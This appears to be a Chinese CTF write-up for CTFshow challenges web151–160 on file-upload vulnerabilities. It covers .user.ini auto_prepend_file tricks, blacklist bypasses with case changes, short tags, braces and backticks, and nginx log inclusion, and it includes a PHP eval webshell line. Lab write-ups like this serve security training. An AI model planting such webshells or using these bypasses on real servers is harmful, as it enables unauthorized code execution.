CTFshow之web151~160---文件上传(上)

目录

web151

web152

web153

总结:

web154

总结 :

web155

总结:

web156

总结:

web157 

web158

web159 

web160

 总结:


web151

CTFshow之web151~160---文件上传(上)_第1张图片

抓包,先上传一个假图片,再修改包内容信息

CTFshow之web151~160---文件上传(上)_第2张图片

再根据回显路径,上蚁剑连接后门即可找到flag文件

CTFshow之web151~160---文件上传(上)_第3张图片

web152

根web151一样,上传图片抓包修改一下后缀跟内容即可

web153

过滤了挺多常规的方法,但是能用.user.ini绕过

建议不懂的可以参考

.htaccess 和.user.ini 配置文件妙用 · 大专栏 (dazhuanlan.com)

先创建一个配置文件

auto_prepend_file = 1.png

CTFshow之web151~160---文件上传(上)_第4张图片

跟一个1.png文件

@eval($_POST['x']);
phpinfo();
?>

CTFshow之web151~160---文件上传(上)_第5张图片

依次上传这两个文件,第一个要抓包上传

CTFshow之web151~160---文件上传(上)_第6张图片

 上传完后访问 /upload/index.php

CTFshow之web151~160---文件上传(上)_第7张图片

接着上蚁剑连接即可

CTFshow之web151~160---文件上传(上)_第8张图片

总结:

.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有

web154

本题是黑名单过滤,过滤了php后缀,还有包涵php内容的文件,跟上一题一样,这里用大小写绕过即可

总结 :

php文件内容改掉大小写依旧生效,除变量外,如

web155

本题一样是黑名单过滤,与上题相比过滤掉了文件内容php(不区分大小写),所以我们得用短标签绕过过滤。

        //short_open_tags=on

等价于 //无限制

<% echo '123';%>         //asp_tags=on php_version < 7

//php_vsesion < 7

同上方法,先上传配置文件.user.ini   ,然后再上传文件

CTFshow之web151~160---文件上传(上)_第9张图片

然后再用蚁剑连接即可

CTFshow之web151~160---文件上传(上)_第10张图片

总结:

php被过滤的时候可以利用短标签过滤

web156

跟上题相比这里过滤掉了[]

我们可以用{}代替掉[]而达到绕过的效果

CTFshow之web151~160---文件上传(上)_第11张图片

 同样用.user.ini配置绕过,将文件分别上传后连接蚁剑即可

CTFshow之web151~160---文件上传(上)_第12张图片

总结:

[]被过滤的时候用用{}代替

web157 

跟前面一样,先尝试上传一个配置文件,

CTFshow之web151~160---文件上传(上)_第13张图片

那就好办了,接下来绕过内容过滤就好了

经过测试发现过滤掉了大括号{},[],;

所以可以说这样基本把马给锁死了,但是我们可以任意执行php,就用系统命令查看一下,直接找到flag文件,

nl ../fla* 

CTFshow之web151~160---文件上传(上)_第14张图片

之后访问upload/index.php即可找到flag

CTFshow之web151~160---文件上传(上)_第15张图片

web158

跟上一题一样,直接文件读取

CTFshow之web151~160---文件上传(上)_第16张图片

CTFshow之web151~160---文件上传(上)_第17张图片

web159 

本题过滤掉了

php

{}

[]

;

()

所以就无法调用所有的函数了,但是能利用php特性,命令执行可以用``(反引号包涵)

CTFshow之web151~160---文件上传(上)_第18张图片

web160

与上题相比,这题将空格和``反引号和log过滤掉了,所以上传的时候要注意略过多余的空格,log可以用点号拼接绕过,且本题不能使用上题的方法,考虑到日志包含,

参考日志包含漏洞_火火火与霍霍的博客-CSDN博客_日志包含漏洞

nginx的日志文件在/var/log/nginx/access.log里头,先看看日志文件有什么,这里上传内容为

CTFshow之web151~160---文件上传(上)_第19张图片

然后直接访问upload

CTFshow之web151~160---文件上传(上)_第20张图片 可以看到包含日志成功,密密麻麻的字符串中,可以发现有UA信息,也就是http请求头的user-agent,所以可以把后门或者是命令执行插入到user-agent,前面的配置文件会连带执行php,就能拿到flag了,在UA后面加上

CTFshow之web151~160---文件上传(上)_第21张图片

 上传完后拿蚁剑连接即可CTFshow之web151~160---文件上传(上)_第22张图片

 总结:

当命令执行跟木马上传失败的时候,可以利用日志包含上传

你可能感兴趣的:(文件上传漏洞,CTF)